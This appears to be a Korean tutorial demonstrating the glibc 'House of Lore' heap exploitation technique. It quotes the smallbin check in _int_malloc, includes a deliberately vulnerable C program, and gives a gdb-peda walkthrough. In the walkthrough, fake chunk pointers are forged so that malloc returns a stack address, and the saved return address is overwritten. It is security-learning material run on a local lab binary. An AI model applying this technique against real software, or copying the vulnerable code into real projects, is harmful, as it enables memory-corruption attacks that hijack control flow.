Excuse the ads! We need some help to keep our site up.
"malloc(): smallbin double linked list corrupted"
static void * _int_malloc (mstate av, size_t bytes) { ... if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } ... |
Small bin : victim(0x602000) = bk(0x7fffffffe230)->fd(0x602000)
해당 함수는 다음과 같은 기능을 합니다.
크기가 다른 Heap 영역을 3개 할당합니다.
첫번째 Heap 만 해제를 합니다.
#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ char stack[56]; printf("Stack : %p\n", stack); char *buf1 = malloc(128); char *buf2 = malloc(256); printf("buf1 : %p\n", buf1); printf("buf2 : %p\n", buf2); free(buf1); printf("Stack : "); scanf("%56s",stack); void *buf3 = malloc(1200); printf("buf3 : %p\n", buf3); printf("buf1 : "); scanf("%16s",buf1); void *buf4 = malloc(128); char *buf5 = malloc(128); printf("buf4 : %p\n", buf4); printf("buf5 : %p\n", buf5); printf("buf5 : "); scanf("%128s",buf5); } |
"-fno-stack-protector" 옵션을 이용해 Canary가 적용되지 않도록 빌드 합니다.
lazenca0x0@ubuntu:~/Documents/def$ gcc -fno-stack-protector -o lore lore.c lazenca0x0@ubuntu:~/Documents/def$ checksec.sh --file ./lore RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./lore lazenca0x0@ubuntu:~/Documents/def$ |
0x4006c4 - 첫번째 scanf() 호출 후
0x40070d - 두번째 scanf() 호출 후
0x400717 - malloc(128) 호출 후
0x400725 - malloc(128) 호출 후
0x40077b - ret 명령어
gdb-peda$ b *0x00000000004006c4 Breakpoint 1 at 0x4006c4 gdb-peda$ b *0x000000000040070d Breakpoint 2 at 0x40070d gdb-peda$ b *0x0000000000400717 Breakpoint 3 at 0x400717 gdb-peda$ b *0x0000000000400725 Breakpoint 4 at 0x400725 gdb-peda$ b *0x000000000040077b Breakpoint 5 at 0x40077b |
|
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/lore Stack : 0x7fffffffe230 buf1 : 0x602010 buf2 : 0x6020a0 Stack : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x00000000004006c4 in main () gdb-peda$ x/8gx 0x7fffffffe230 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x4141414141414141 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x4141414141414141 0x0000000000000000 gdb-peda$ set *0x7fffffffe240 = 0x602000 gdb-peda$ set *0x7fffffffe244 = 0x00000000 gdb-peda$ set *0x7fffffffe248 = 0x7fffffffe250 gdb-peda$ set *0x7fffffffe24c = 0x00007fff gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe230 gdb-peda$ set *0x7fffffffe264 = 0x00007fff gdb-peda$ x/8gx 0x7fffffffe230 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x0000000000602000 0x00007fffffffe250 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x00007fffffffe230 0x0000000000000000 gdb-peda$ |
Free chunk가 Unsorted bin에서 Small bin영역으로 이동합니다.
Unsorted bin : 0x602000 → 0x7ffff7dd37b8(main_arena.top 영역)
Small bin(main_arena.bins[16],fd) : 0x7ffff7dd3838 → 0x602000
gdb-peda$ x/2gx 0x602010 0x602010: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 gdb-peda$ p main_arena.bins[1] $1 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[16] $2 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216> gdb-peda$ p main_arena.bins[17] $3 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216> gdb-peda$ c Continuing. buf3 : 0x6021b0 buf1 : BBBBBBBBBBBBBBBB Breakpoint 2, 0x000000000040070d in main () gdb-peda$ p main_arena.bins[1] $4 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88> gdb-peda$ x/gx 0x7ffff7dd37b8 0x7ffff7dd37b8 <main_arena+88>: 0x0000000000602660 gdb-peda$ p main_arena.top $5 = (mchunkptr) 0x602660 gdb-peda$ p main_arena.bins[16] $6 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $7 = (mchunkptr) 0x602000 gdb-peda$ x/2gx 0x602010 0x602010: 0x4242424242424242 0x4242424242424242 gdb-peda$ set *0x602018 = 0x7fffffffe230 gdb-peda$ set *0x60201c = 0x00007fff gdb-peda$ x/2gx 0x602010 0x602010: 0x4242424242424242 0x00007fffffffe230 gdb-peda$ |
Small bin에 등록된 영역을 사용했으며, Small bin에 변화가 발생합니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400717 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.bins[16] $8 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $9 = (mchunkptr) 0x7fffffffe230 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400725 in main () gdb-peda$ i r rax rax 0x7fffffffe240 0x7fffffffe240 gdb-peda$ p main_arena.bins[17] $10 = (mchunkptr) 0x7fffffffe250 |
gdb-peda$ c Continuing. buf4 : 0x602010 buf5 : 0x7fffffffe240 buf5 : CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Breakpoint 5, 0x000000000040077b in main () gdb-peda$ i r rsp rsp 0x7fffffffe298 0x7fffffffe298 gdb-peda$ x/gx 0x7fffffffe298 0x7fffffffe298: 0x4343434343434343 gdb-peda$ ni Program received signal SIGSEGV, Segmentation fault. 0x000000000040077b in main () gdb-peda$ bt #0 0x000000000040077b in main () #1 0x4343434343434343 in ?? () #2 0x4343434343434343 in ?? () #3 0x4343434343434343 in ?? () #4 0x4343434343434343 in ?? () #5 0x4343434343434343 in ?? () #6 0x0000000000000000 in ?? () gdb-peda$ |